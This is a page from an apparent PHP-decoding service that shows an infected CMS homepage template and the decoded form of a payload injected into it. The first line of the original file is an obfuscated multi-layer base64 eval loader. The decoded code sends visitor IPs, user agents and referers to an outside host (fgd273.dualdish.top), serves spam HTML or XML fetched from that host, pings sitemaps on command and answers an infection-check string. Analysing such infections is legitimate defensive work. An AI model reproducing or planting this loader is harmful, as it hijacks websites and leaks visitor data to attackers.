Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHAgZXZhbCgiPz4iLmJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnWlhaaGJ..

Decoded Output download

?>b'<?php
error_reporting(0);
header(\'Content-Type: text/html; charset=utf-8\');
$lan = base64_encode(@$_SERVER[\'HTTP_ACCEPT_LANGUAGE\']);
$uri = base64_encode(@$_SERVER[\'REQUEST_URI\']);
$host = @$_SERVER[\'HTTP_HOST\'];
$agent = base64_encode(@$_SERVER[\'HTTP_USER_AGENT\']);
$referer = base64_encode(@$_SERVER[\'HTTP_REFERER\']);
$ip = base64_encode(@$_SERVER[\'REMOTE_ADDR\']);
$zone=base64_encode(date_default_timezone_get());
$http_type = ((isset($_SERVER[\'HTTPS\']) && $_SERVER[\'HTTPS\'] == \'on\') || (isset($_SERVER[\'HTTP_X_FORWARDED_PROTO\']) && $_SERVER[\'HTTP_X_FORWARDED_PROTO\'] == \'https\')) ? \'https://\' : \'http://\';
$goweb = "https://fgd273.dualdish.top";
$typeName = base64_encode($http_type.$host);
$geturl = $goweb.\'/index.php?domain=\'.$typeName.\'&uri=\'.$uri.\'&lan=\'.$lan.\'&agent=\'.$agent.\'&zone=\'.$zone.\'&ip=\'.$ip.\'&goweb=\'.$goweb.\'&referer=\'.$referer;
$file_contents = getCurl($geturl);
if(stripos($_SERVER[\'REQUEST_URI\'],\'jp2023\')!==false){
    echo $host.":cs273-ok;";
    exit();
}
if(strstr($file_contents,"[#*#*#]")){
    $html = explode("[#*#*#]",$file_contents);
    if($html[0] == "echohtml"){ echo $html[1]; exit; }
    if($html[0] == "echoxml"){ header("Content-type: text/xml"); echo $html[1]; exit; }
    if($html[0] == "echorss"){ header("Content-type: text/xml"); echo $html[1]; exit; }
    if($html[0] == "pingxml"){
        $maps=explode("|||",$html[1]);
        foreach($maps as $v){
            $pingRes = getCurl($v); $Oooo0s = (strpos($pingRes, \'Sitemap Notification Received\') !== false) ? \'OK\' : \'ERROR\';
            echo $v . \'===>Sitemap: \' . $Oooo0s ."<br>";
        }
        exit;}
}
function getCurl($url)
{
    $file_contents = @file_get_contents($url);
    if (!$file_contents) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
        $file_contents = curl_exec($ch);
        curl_close($ch);
    }
    return $file_contents;
}?>'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHAgZXZhbCgiPz4iLmJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnWlhaaGJDZ2lQejRpTG1KaGMyVTJORjlrWldOdlpHVW9JbEJFT1hkaFNFRm5XbGhhYUdKRFoybFFlalJwVEcxS2FHTXlWVEpPUmpscldsZE9kbHBIVlc5SmJFSkZUMWhrYUZORlJtNVhiR2hoWVVkS1JGb3liRkZsYWxKd1ZFY3hTMkZIVFhsV1ZFcFBVbXBzY2xkc1pFOWtiSEJJVmxjNVNtSkZTa1pVTVdocllVWk9SbEp0TlZoaVIyaG9XVlZrUzFKR2IzbGlSa1pzWVd4S2QxWkZZM2hUTWtaSVZGaHNWMVpGY0ZCVmJYQnpZMnhrYzFwRk9XdGlTRUpKVm14ak5WTnRTa1pUYTFwVlRWZG9jbGxWV2s5U2JFcHlUMVpLVG1GcldsbFhiRnByVkRKU1JrOVdiR2xTYlhoUFZGVm9RMlZzWkZWUmJYQlBWakZhV1ZaWGRHOWhWazVIVjIxb1lWWnRVbkpVVkVaT1pVWldkV05HVm1oTlJGVjNWMVpXYTA1R1pITlhXR2hVWW1zMVlWUlhNVFJrVm14MFpVVmFiRlpVYkZwV2JURXdWVEF4VjJJemFGaGhNVnBQV2xWYVlWZEdXbk5pUmtwcFYwZG9VbGRXV2xkVGJWRjRXa2hPYUZKNmJFOVZiR2hyVGxac1ZsVnJU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VJsZFVNVVp6WWpOb2FFMHpRbGhaYlRFMFkwWldkR05JVGs5aVIxSjZXVlZhVDJFeVNsWk9WWEJYVm0xTk1WVjZSa3BrTURWWlYyeFdVMVpVVmtWV1YzUmhXVlpaZUZSdVNrNVdiRnBQVm14V2QxWXhXWGRWYTJSVVRWVndlbFl5ZEd0V01rcEdUbFphV21FeGNFeFdhMXBYVmpGYVZWSnNaRk5oTTBJMVZtMHhORlF4VWxkVGExcFhZbTFTVmxSVVNrOU5NVlkyVVc1T1UxSnJXbGxYYTFaM1ZXc3hSbGR1VmxaTlZscFFWVmN4Um1WSFRrbFZiV3hVVWxSV2IxWnRNWGRqTWs1WFlraEdWRlpGV2s5VmJUVkRWMVpTYzFWclRtaGlWbHBYVld4U1YxWkdXbGhWYkVKVlZtMVNVRnBGWkZkVFJtUjBVbXhvVTAxdGFEWldha1p2WXpKS2RGSllhR2hOTW5ob1ZGUkNTMVZXY0VsalJVNVZVbXMxVjFaSGRFdFpWVEZJWlVWV1ZsWnRVbkpWTW5oR1pERk9kVkp0UmxOaVYyaE5WMWh3UjJKdFZsZFZibFpWWWxkNFQxUlZVbGRsYkZZMlVXczVWazFyV2pCVmJYUlRZVWRXZEZWcldsZFdiVTB4V1cxNFQxWnNVbkpUYlVaT1lraENWRlpHVmxkTlJrNXpVbGhrVTJKVVZsVldiR1J2VkVac2NscEdUbFJXYkhBeFdXdGtjMkZHV2xaWGJteFhUV3BDTkZsNlNrNWxSMDVIV2taQ1YwMHdTbmRXUm1SM1ZtMVJlRnBJVGxwbGExcFBWV3BCTUUxc2JEWlJWRVpUVWpCd2VGVldhR0ZXYkVsNVZGUldWbEpyTlV0Wk1GWXdWbGROZVZwR1JteGhiRVUxVTFkc2NtTkZPVFZSVXpsUldub3dPVWxwYTNCUGVVRXZVR2M5UFNJcEtUc2dQejQ9IikpOyA/Pg==")); ?>
<?php require_once('header.php'); ?>

<?php
$statement = $pdo->prepare("SELECT * FROM tbl_settings WHERE id=1");
$statement->execute();
$result = $statement->fetchAll(PDO::FETCH_ASSOC);							
foreach ($result as $row) {
	$total_recent_news_home_page = $row['total_recent_news_home_page'];
	$home_title_service          = $row['home_title_service'];
	$home_subtitle_service       = $row['home_subtitle_service'];
	$home_status_service         = $row['home_status_service'];
	$home_title_team_member      = $row['home_title_team_member'];
	$home_subtitle_team_member   = $row['home_subtitle_team_member'];
	$home_status_team_member     = $row['home_status_team_member'];
	$home_title_testimonial      = $row['home_title_testimonial'];
	$home_subtitle_testimonial   = $row['home_subtitle_testimonial'];
	$home_photo_testimonial      = $row['home_photo_testimonial'];
	$home_status_testimonial     = $row['home_status_testimonial'];
	$home_title_news             = $row['home_title_news'];
	$home_subtitle_news          = $row['home_subtitle_news'];
	$home_status_news            = $row['home_status_news'];
	$home_title_partner          = $row['home_title_partner'];
	$home_subtitle_partner       = $row['home_subtitle_partner'];
	$home_status_partner         = $row['home_status_partner'];
	$counter_1_title             = $row['counter_1_title'];
    $counter_1_value             = $row['counter_1_value'];
    $counter_2_title             = $row['counter_2_title'];
    $counter_2_value             = $row['counter_2_value'];
    $counter_3_title             = $row['counter_3_title'];
    $counter_3_value             = $row['counter_3_value'];
    $counter_4_title             = $row['counter_4_title'];
    $counter_4_value             = $row['counter_4_value'];
    $counter_photo               = $row['counter_photo'];
    $counter_status              = $row['counter_status'];
}
?>

<!-- Slider Start -->
<section class="main-slider">
	<div class="slider">
		<ul class="bxslider">
				
			<?php
			$statement = $pdo->prepare("SELECT * FROM tbl_slider WHERE status=? ORDER BY id DESC");
			$statement->execute(array('Active'));
			$result = $statement->fetchAll(PDO::FETCH_ASSOC);							
			foreach ($result as $row) 
			{
				if($row['position']=='Left') {$align='tal';}
				if($row['position']=='Center') {$align='tac';}
				if($row['position']=='Right') {$align='tar';}
				?>
				<li style="background-image:url(<?php echo BASE_URL; ?>assets/uploads/<?php echo $row['photo']; ?>);">
					<div class="overlay"></div>
					<div class="content">
						<div class="inner <?php echo $align; ?>">
							<div class="text">
							
								<?php if($row['heading']!=''): ?>
								<h2>
									<?php echo $row['heading']; ?>
								</h2>
								<?php endif; ?>
								
								<?php if($row['content']!=''): ?>
								<p>
									<?php echo nl2br($row['content']); ?>
								</p>
								<?php endif; ?>
								
								<?php if($row['button_text']!=''): ?>
								<p class="button">
									<a href="<?php echo $row['button_url']; ?>" class="btn btn-flat"><?php echo $row['button_text']; ?></a>
								</p>
								<?php endif; ?>

							</div>
						</div>
					</div>
				</li>
				<?php
			}
			?>			
		</ul>
	</div>
</section>
<!-- Slider End -->


<?php if($home_status_service == 'Show'): ?>
<!-- Service Start -->
<section class="service-v1">
	<div class="container">
		<div class="row">
			<div class="col-md-12">
				<div class="heading wow fadeInUp">
					<h2><?php echo $home_title_service; ?></h2>
					<p><?php echo $home_subtitle_service; ?></p>
				</div>
			</div>
		</div>
		<div class="row">
			<?php
			$statement = $pdo->prepare("SELECT * FROM tbl_service ORDER BY id ASC");
			$statement->execute();
			$result = $statement->fetchAll(PDO::FETCH_ASSOC);							
			foreach ($result as $row) {
				?>
				<div class="col-sm-6 col-md-4 ser-item wow fadeInUp">
					<div class="item">
						<div class="photo" style="background-image:url(<?php echo BASE_URL; ?>assets/uploads/<?php echo $row['photo']; ?>);">
						</div>
						<div class="text">
							<h3><a href="<?php echo BASE_URL.URL_SERVICE.$row['slug']; ?>"><?php echo $row['name']; ?></a></h3>
							<p>
								<?php echo $row['short_description']; ?>
							</p>
						</div>
					</div>
				</div>
				<?php
			}
			?>
		</div>
	</div>
</section>
<!-- Service End -->
<?php endif; ?>



<?php if($home_status_team_member == 'Show'): ?>
<!-- Team Member Start -->
<section class="team-member-v1">
	<div class="container">
		<div class="row">
			<div class="col-md-12">
				<div class="heading wow fadeInUp">
					<h2><?php echo $home_title_team_member; ?></h2>
					<p><?php echo $home_subtitle_team_member; ?></p>
				</div>
			</div>
		</div>
		<div class="row">
			<div class="col-md-12">
				
				<!-- Team Member Carousel Start -->
				<div class="team-member-carousel">
					<?php
					$statement = $pdo->prepare("SELECT 
												
												t1.id,
												t1.name,
												t1.slug,
												t1.designation_id,
												t1.photo,
												t1.facebook,
												t1.twitter,
												t1.linkedin,
												t1.youtube,
												t1.google_plus,
												t1.instagram,
												t1.flickr,

												t2.designation_id,
												t2.designation_name

					                           FROM tbl_team_member t1
					                           JOIN tbl_designation t2
					                           ON t1.designation_id = t2.designation_id
					                           WHERE t1.status = ?
					                           ");
					$statement->execute(array('Active'));
					$result = $statement->fetchAll(PDO::FETCH_ASSOC);							
					foreach ($result as $row) {
						?>
						<div class="item wow fadeInUp">
							<div class="thumb">
								<div class="photo" style="background-image:url(<?php echo BASE_URL; ?>assets/uploads/<?php echo $row['photo']; ?>);"></div>
								<div class="overlay"></div>
								<div class="social-icons">
									<ul>
										<?php if($row['facebook']!=''): ?>
											<li><a href="<?php echo $row['facebook']; ?>" target="_blank"><i class="fa fa-facebook"></i></a></li>
										<?php endif; ?>

										<?php if($row['twitter']!=''): ?>
											<li><a href="<?php echo $row['twitter']; ?>" target="_blank"><i class="fa fa-twitter"></i></a></li>
										<?php endif; ?>

										<?php if($row['linkedin']!=''): ?>
											<li><a href="<?php echo $row['linkedin']; ?>" target="_blank"><i class="fa fa-linkedin"></i></a></li>
										<?php endif; ?>

										<?php if($row['youtube']!=''): ?>
											<li><a href="<?php echo $row['youtube']; ?>" target="_blank"><i class="fa fa-youtube"></i></a></li>
										<?php endif; ?>

										<?php if($row['google_plus']!=''): ?>
											<li><a href="<?php echo $row['google_plus']; ?>" target="_blank"><i class="fa fa-google-plus"></i></a></li>
										<?php endif; ?>

										<?php if($row['instagram']!=''): ?>
											<li><a href="<?php echo $row['instagram']; ?>" target="_blank"><i class="fa fa-instagram"></i></a></li>
										<?php endif; ?>

										<?php if($row['flickr']!=''): ?>
											<li><a href="<?php echo $row['flickr']; ?>" target="_blank"><i class="fa fa-flickr"></i></a></li>
										<?php endif; ?>
									</ul>
								</div>
							</div>
							<div class="text">
								<h3><a href="<?php echo BASE_URL.URL_TEAM.$row['slug']; ?>"><?php echo $row['name']; ?></a></h3>
								<p><?php echo $row['designation_name']; ?></p>
							</div>
						</div>
						<?php
					}
					?>					
				</div>
				<!-- Team Member Carousel End -->

			</div>
		</div>
	</div>
</section>
<!-- Team Members End -->
<?php endif; ?>



<?php if($counter_status == 'Show'): ?>
<div class="why-us" style="background-image:url(<?php echo BASE_URL; ?>assets/uploads/<?php echo $counter_photo; ?>);">
	<div class="overlay"></div>
	<div class="container">
		<div class="row why-us-counter">
			<div class="col-md-3">
				<div class="counter"><?php echo $counter_1_value; ?></div>
				<div class="title"><?php echo $counter_1_title; ?></div>
			</div>
			<div class="col-md-3">
				<div class="counter"><?php echo $counter_2_value; ?></div>
				<div class="title"><?php echo $counter_2_title; ?></div>
			</div>
			<div class="col-md-3">
				<div class="counter"><?php echo $counter_3_value; ?></div>
				<div class="title"><?php echo $counter_3_title; ?></div>
			</div>
			<div class="col-md-3">
				<div class="counter"><?php echo $counter_4_value; ?></div>
				<div class="title"><?php echo $counter_4_title; ?></div>
			</div>
		</div>
	</div>
</div>
<?php endif; ?>



<?php if($home_status_news == 'Show'): ?>
<!-- News Start -->
<section class="news-v1">
	<div class="container">
		<div class="row">
			<div class="col-md-12">
				<div class="heading wow fadeInUp">
					<h2><?php echo $home_title_news; ?></h2>
					<p><?php echo $home_subtitle_news; ?></p>
				</div>
			</div>
		</div>
		<div class="row">
			<div class="col-md-12">
				
				<!-- News Carousel Start -->
				<div class="news-carousel">

					<?php
					$i=0;
					$statement = $pdo->prepare("SELECT * FROM tbl_news ORDER BY news_id DESC");
					$statement->execute();
					$result = $statement->fetchAll();							
					foreach ($result as $row) {
						$i++;
						if($i>$total_recent_news_home_page) {break;}
						?>
						<div class="item wow fadeInUp">
							<div class="thumb">
								<div class="photo" style="background-image:url(<?php echo BASE_URL; ?>assets/uploads/<?php echo $row['photo']; ?>);"></div>
							</div>
							<div class="text">
								<h3><a href="<?php echo BASE_URL.URL_NEWS.$row['news_slug']; ?>"><?php echo $row['news_title']; ?></a></h3>
								<?php echo $row['news_content_short']; ?>
							</div>
						</div>
						<?php
					}
					?>
					
				</div>
				<!-- News Carousel End -->

			</div>
		</div>
	</div>
</section>
<!-- News End -->
<?php endif; ?>





<?php if($home_status_testimonial == 'Show'): ?>
<!-- Testimonial Start -->
<section class="testimonial-v1" style="background-image:url(<?php echo BASE_URL; ?>assets/uploads/<?php echo $home_photo_testimonial; ?>);">
	<div class="overlay"></div>
	<div class="container">
		<div class="row">
			<div class="col-md-12">
				<div class="heading">
					<h2><?php echo $home_title_testimonial; ?></h2>
					<p><?php echo $home_subtitle_testimonial; ?></p>
				</div>
			</div>
		</div>
		<div class="row">
			<div class="col-md-12">
				
				<!-- Testimonial Carousel Start -->
				<div class="testimonial-carousel">
					<?php
					$statement = $pdo->prepare("SELECT * FROM tbl_testimonial ORDER BY id ASC");
					$statement->execute();
					$result = $statement->fetchAll(PDO::FETCH_ASSOC);							
					foreach ($result as $row) {
						?>
						<div class="item">
							<div class="testimonial-wrapper">								
								<div class="content">									
									<div class="author">
										<div class="photo">
											<img src="<?php echo BASE_URL; ?>assets/uploads/<?php echo $row['photo']; ?>" alt="<?php echo $row['name']; ?>">
										</div>
										<div class="text">
											<h3><?php echo $row['name']; ?></h3>
											<h4><?php echo $row['designation']; ?> 
											<?php if($row['company']!=''): ?>
											<span>(<?php echo $row['company']; ?>)</span>
											<?php endif; ?>
											</h4>
										</div>
									</div>	
									<div class="comment">
										<p>
											<?php echo nl2br($row['comment']); ?>
										</p>
										<div class="icon"></div>
									</div>									
								</div>
							</div>
						</div>
						<?php
					}
					?>
				</div>
				<!-- Testimonial Carousel End -->

			</div>
		</div>
	</div>
</section>
<!-- Testimonial End -->
<?php endif; ?>


	


<?php if($home_status_partner == 'Show'): ?>
<!-- Partner Start -->
<section class="partner-v1">
	<div class="container">
		<div class="row">
			<div class="col-md-12">
				<div class="heading">
					<h2><?php echo $home_title_partner; ?></h2>
					<p><?php echo $home_subtitle_partner; ?></p>
				</div>
			</div>
		</div>
		<div class="row">
			<div class="col-md-12">
				<div class="partner-carousel">
					<?php
					$statement = $pdo->prepare("SELECT * FROM tbl_partner ORDER BY id ASC");
					$statement->execute();
					$result = $statement->fetchAll(PDO::FETCH_ASSOC);							
					foreach ($result as $row) {
						?>
						<div class="item">
							<div class="inner">
								<?php if($row['url']==''): ?>
									<img src="<?php echo BASE_URL; ?>assets/uploads/<?php echo $row['photo']; ?>" alt="<?php echo $row['name']; ?>">
								<?php else: ?>
									<a href="<?php echo $row['url']; ?>" target="_blank"><img src="<?php echo BASE_URL; ?>assets/uploads/<?php echo $row['photo']; ?>" alt="<?php echo $row['name']; ?>"></a>
								<?php endif; ?>
								
							</div>
						</div>
						<?php
					}
					?>
				</div>
			</div>
		</div>
	</div>
</section>
<!-- Partner End -->
<?php endif; ?>

<?php require_once('footer.php'); ?>

Function Calls

base64_decode 6

Variables

None

Stats

MD5 e76dc9fabe1a0379013e5c13f5406a76
Eval Count 6
Decode Time 88 ms